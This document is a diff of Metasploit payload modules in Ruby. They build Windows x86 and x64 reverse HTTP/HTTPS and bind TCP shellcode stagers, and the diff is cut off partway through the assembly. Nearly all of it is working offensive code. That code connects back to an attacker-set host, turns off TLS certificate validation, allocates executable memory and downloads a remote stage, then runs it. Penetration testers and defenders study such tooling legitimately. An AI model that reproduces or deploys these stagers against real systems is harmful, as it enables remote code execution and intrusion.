|
||||
push eax ; Session handle returned by WinHttpOpen
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push #{"0x%.8x" % http_open_flags}
|
||||
push 0x#{http_open_flags.to_s(16)}
|
||||
push ebx ; AcceptTypes (NULL)
|
||||
push ebx ; Referrer (NULL)
|
||||
push ebx ; Version (NULL)
|
||||
push edi ; ObjectName (URI)
|
||||
push ebx ; Verb (GET method) (NULL)
|
||||
push eax ; Connect handle returned by WinHttpConnect
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')}
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
^
|
||||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
push ebx ; pAuthParams (NULL)
|
||||
^
|
||||
|
||||
if proxy_pass
|
||||
asm << %Q^
|
||||
call got_proxy_pass ; put proxy_pass on the stack
|
||||
proxy_pass:
|
||||
db #{proxy_pass}
|
||||
got_proxy_pass:
|
||||
; pwszPassword now on the stack
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push ebx ; pwszPassword (NULL)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
call got_proxy_user ; put proxy_user on the stack
|
||||
proxy_user:
|
||||
db #{proxy_user}
|
||||
got_proxy_user:
|
||||
; pwszUserName now on the stack
|
||||
push 1 ; AuthScheme (WINHTTP_AUTH_SCHEME_BASIC = 1)
|
||||
push 1 ; AuthTargets (WINHTTP_AUTH_TARGET_PROXY = 1)
|
||||
push esi ; hRequest
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
|
||||
set_security_options:
|
||||
push 0x00003300
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
mov eax, esp
|
||||
push 4 ; sizeof(buffer)
|
||||
push eax ; &buffer
|
||||
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
|
||||
call ebp
|
||||
^
|
||||
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
|
||||
set_security_options:
|
||||
push 0x#{secure_flags.to_s(16)}
|
||||
mov eax, esp
|
||||
push 4 ; sizeof(buffer)
|
||||
push eax ; &buffer
|
||||
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
@ -231,7 +308,7 @@ module Payload::Windows::ReverseWinHttp
|
|||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz check_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
@ -245,150 +322,145 @@ module Payload::Windows::ReverseWinHttp
|
|||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
# Jump target if the request was sent successfully
|
||||
asm << %Q^
|
||||
check_response:
|
||||
^
|
||||
check_response:
|
||||
^
|
||||
|
||||
# Verify the SSL certificate hash
|
||||
if verify_ssl
|
||||
|
||||
asm << %Q^
|
||||
ssl_cert_get_context:
|
||||
push 4
|
||||
mov ecx, esp ; Allocate &bufferLength
|
||||
push 0
|
||||
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
|
||||
ssl_cert_get_context:
|
||||
push 4
|
||||
mov ecx, esp ; Allocate &bufferLength
|
||||
push 0
|
||||
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
|
||||
|
||||
push ecx ; &bufferLength
|
||||
push ebx ; &buffer
|
||||
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
|
||||
push esi ; hHttpRequest
|
||||
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
push ecx ; &bufferLength
|
||||
push ebx ; &buffer
|
||||
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
|
||||
push esi ; hHttpRequest
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
; ebx
|
||||
ssl_cert_allocate_hash_space:
|
||||
push 20 ;
|
||||
mov ecx, esp ; Store a reference to the address of 20
|
||||
sub esp,[ecx] ; Allocate 20 bytes for the hash output
|
||||
mov edi, esp ; edi will point to our buffer
|
||||
; ebx
|
||||
ssl_cert_allocate_hash_space:
|
||||
push 20 ;
|
||||
mov ecx, esp ; Store a reference to the address of 20
|
||||
sub esp,[ecx] ; Allocate 20 bytes for the hash output
|
||||
mov edi, esp ; edi will point to our buffer
|
||||
|
||||
ssl_cert_get_server_hash:
|
||||
push ecx ; &bufferLength
|
||||
push edi ; &buffer (20-byte SHA1 hash)
|
||||
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
|
||||
push [ebx] ; *pCert
|
||||
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
ssl_cert_get_server_hash:
|
||||
push ecx ; &bufferLength
|
||||
push edi ; &buffer (20-byte SHA1 hash)
|
||||
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
|
||||
push [ebx] ; *pCert
|
||||
push #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_start_verify:
|
||||
call ssl_cert_compare_hashes
|
||||
db #{encoded_cert_hash}
|
||||
ssl_cert_start_verify:
|
||||
call ssl_cert_compare_hashes
|
||||
db #{encoded_cert_hash}
|
||||
|
||||
ssl_cert_compare_hashes:
|
||||
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
|
||||
; edi points to the server-provided certificate hash
|
||||
ssl_cert_compare_hashes:
|
||||
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
|
||||
; edi points to the server-provided certificate hash
|
||||
|
||||
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
|
||||
pop ecx ;
|
||||
mov edx, ecx ; Keep a reference to 4 in edx
|
||||
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
|
||||
pop ecx ;
|
||||
mov edx, ecx ; Keep a reference to 4 in edx
|
||||
|
||||
ssl_cert_verify_compare_loop:
|
||||
mov eax, [ebx] ; Grab the next DWORD of the hash
|
||||
cmp eax, [edi] ; Compare with the server hash
|
||||
jnz failure ; Bail out if the DWORD doesn't match
|
||||
add ebx, edx ; Increment internal hash pointer by 4
|
||||
add edi, edx ; Increment server hash pointer by 4
|
||||
loop ssl_cert_verify_compare_loop
|
||||
ssl_cert_verify_compare_loop:
|
||||
mov eax, [ebx] ; Grab the next DWORD of the hash
|
||||
cmp eax, [edi] ; Compare with the server hash
|
||||
jnz failure ; Bail out if the DWORD doesn't match
|
||||
add ebx, edx ; Increment internal hash pointer by 4
|
||||
add edi, edx ; Increment server hash pointer by 4
|
||||
loop ssl_cert_verify_compare_loop
|
||||
|
||||
; Our certificate hash was valid, hurray!
|
||||
ssl_cert_verify_cleanup:
|
||||
xor ebx, ebx ; Reset ebx back to zero
|
||||
^
|
||||
; Our certificate hash was valid, hurray!
|
||||
ssl_cert_verify_cleanup:
|
||||
xor ebx, ebx ; Reset ebx back to zero
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handle for WinHttpReadData
|
||||
push ebx ; Reserved (NULL)
|
||||
push esi ; Request handler returned by WinHttpSendRequest
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handle for WinHttpReadData
|
||||
push ebx ; Reserved (NULL)
|
||||
push esi ; Request handler returned by WinHttpSendRequest
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
xor edi, edi ; clear EDI, so we don't mislead meterpreter into
|
||||
; thinking it has a valid socket to play with
|
||||
ret ; dive into the stored stage address
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
||||
db #{encoded_host}
|
||||
^
|
||||
server_host:
|
||||
db #{encoded_host}
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
asm
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -8,14 +8,12 @@ require 'rex/payloads/meterpreter/uri_checksum'
|
|||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
|
@ -27,27 +25,12 @@ module Payload::Windows::ReverseWinHttps
|
|||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_winhttps(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_winhttp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
|
@ -56,33 +39,10 @@ module Payload::Windows::ReverseWinHttps
|
|||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
||||
if verify_cert_hash
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
||||
end
|
||||
|
||||
return generate_reverse_winhttps(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_winhttps(conf)
|
||||
super(
|
||||
ssl: true,
|
||||
verify_cert_hash: verify_cert_hash
|
||||
)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
|
|
|
@ -63,7 +63,6 @@ module Payload::Windows::BindTcp_x64
|
|||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
|
|
|
@ -15,7 +15,10 @@ module Payload::Windows::Exitfunk_x64
|
|||
|
||||
def asm_exitfunk(opts={})
|
||||
|
||||
asm = "exitfunk:\n"
|
||||
asm = %Q^
|
||||
exitfunk:
|
||||
pop rax ; won't be returning, realign the stack with a pop
|
||||
^
|
||||
|
||||
case opts[:exitfunk]
|
||||
|
||||
|
@ -23,7 +26,7 @@ module Payload::Windows::Exitfunk_x64
|
|||
asm << %Q^
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['seh'].to_s(16)}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; SetUnhandledExceptionFilter(0)
|
||||
push 0 ;
|
||||
|
@ -36,7 +39,7 @@ module Payload::Windows::Exitfunk_x64
|
|||
|
||||
when 'thread'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
|
||||
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
add rsp, 40 ; cleanup the default param space on stack
|
||||
|
@ -57,8 +60,7 @@ module Payload::Windows::Exitfunk_x64
|
|||
asm << %Q^
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
|
||||
call rbp ; ExitProcess(0)
|
||||
^
|
||||
|
||||
|
@ -66,8 +68,7 @@ module Payload::Windows::Exitfunk_x64
|
|||
asm << %Q^
|
||||
push 300000 ; 300 seconds
|
||||
pop rcx ; set the sleep function parameter
|
||||
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call rbp ; Sleep(30000)
|
||||
jmp exitfunk ; repeat
|
||||
^
|
||||
|
|
|
@ -0,0 +1,452 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseHttp_x64
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
include Msf::Payload::UUIDOptions
|
||||
|
||||
#
|
||||
# Register reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
# add extended options if we do have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
end
|
||||
|
||||
generate_reverse_http(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_http(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp ; rbp now contains the block API pointer
|
||||
#{asm_reverse_http(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
generate_uri_uuid_mode(:init_native, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_small_uri
|
||||
generate_uri_uuid_mode(:init_native, 5)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [String] :proxy_host The optional proxy server host to use
|
||||
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_http(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
if proxy_enabled
|
||||
if opts[:proxy_type].to_s.downcase == "socks"
|
||||
proxy_info << "socks="
|
||||
else
|
||||
proxy_info << "http://"
|
||||
end
|
||||
|
||||
proxy_info << opts[:proxy_host].to_s
|
||||
if opts[:proxy_port].to_i > 0
|
||||
proxy_info << ":#{opts[:proxy_port]}"
|
||||
end
|
||||
end
|
||||
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
http_open_flags = 0
|
||||
set_option_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
http_open_flags = (
|
||||
0x80000000 | # INTERNET_FLAG_RELOAD
|
||||
0x04000000 | # INTERNET_NO_CACHE_WRITE
|
||||
0x00800000 | # INTERNET_FLAG_SECURE
|
||||
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
0x00001000 | # INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
0x00000200 ) # INTERNET_FLAG_NO_UI
|
||||
|
||||
set_option_flags = (
|
||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
|
||||
else
|
||||
http_open_flags = (
|
||||
0x80000000 | # INTERNET_FLAG_RELOAD
|
||||
0x04000000 | # INTERNET_NO_CACHE_WRITE
|
||||
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
0x00000200 ) # INTERNET_FLAG_NO_UI
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
xor rbx, rbx
|
||||
load_wininet:
|
||||
push rbx ; stack alignment
|
||||
mov r14, 'wininet'
|
||||
push r14 ; Push 'wininet',0 onto the stack
|
||||
mov rcx, rsp ; lpFileName (stackpointer)
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call rbp
|
||||
|
||||
internetopen:
|
||||
push rbx ; stack alignment
|
||||
push rbx ; NULL pointer
|
||||
mov rcx, rsp ; lpszAgent ("")
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
push 3
|
||||
pop rdx ; dwAccessType (3=INTERNET_OPEN_TYPE_PROXY)
|
||||
call load_proxy_name
|
||||
db "#{proxy_info}",0x0 ; proxy information
|
||||
load_proxy_name:
|
||||
pop r8 ; lpszProxyName (stack pointer)
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push rbx
|
||||
pop rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
|
||||
xor r8, r8 ; lpszProxyName (NULL)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
xor r9, r9 ; lpszProxyBypass (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwFlags (0)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
|
||||
call rbp
|
||||
|
||||
call load_server_host
|
||||
db "#{opts[:host]}",0x0
|
||||
load_server_host:
|
||||
pop rdx ; lpszServerName
|
||||
mov rcx, rax ; hInternet
|
||||
mov r8, #{opts[:port]} ; nServerPort
|
||||
xor r9, r9 ; lpszUsername (NULL)
|
||||
push rbx ; dwContent (0)
|
||||
push rbx ; dwFlags (0)
|
||||
push 3 ; dwService (3=INTERNET_SERVICE_HTTP)
|
||||
push rbx ; lpszPassword (NULL)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
|
||||
call rbp
|
||||
^
|
||||
|
||||
if proxy_enabled && (proxy_user || proxy_pass)
|
||||
asm << %Q^
|
||||
mov rsi, rax ; Store hConnection in rsi
|
||||
^
|
||||
|
||||
if proxy_user
|
||||
asm << %Q^
|
||||
call load_proxy_user ; puts proxy_user pointer on stack
|
||||
db "#{proxy_user}", 0x00
|
||||
load_proxy_user:
|
||||
pop r8 ; lpBuffer (stack pointer)
|
||||
mov rcx, rsi ; hConnection (connection handle)
|
||||
push 43 ; (43=INTERNET_OPTION_PROXY_USERNAME)
|
||||
pop rdx
|
||||
push #{proxy_user.length} ; dwBufferLength (proxy_user length)
|
||||
pop r9
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
if proxy_pass
|
||||
asm << %Q^
|
||||
call load_proxy_pass ; puts proxy_pass pointer on stack
|
||||
db "#{proxy_pass}", 0x00
|
||||
load_proxy_pass:
|
||||
pop r8 ; lpBuffer (stack pointer)
|
||||
mov rcx, rsi ; hConnection (connection handle)
|
||||
push 44 ; (43=INTERNET_OPTION_PROXY_PASSWORD)
|
||||
pop rdx
|
||||
push #{proxy_pass.length} ; dwBufferLength (proxy_pass length)
|
||||
pop r9
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
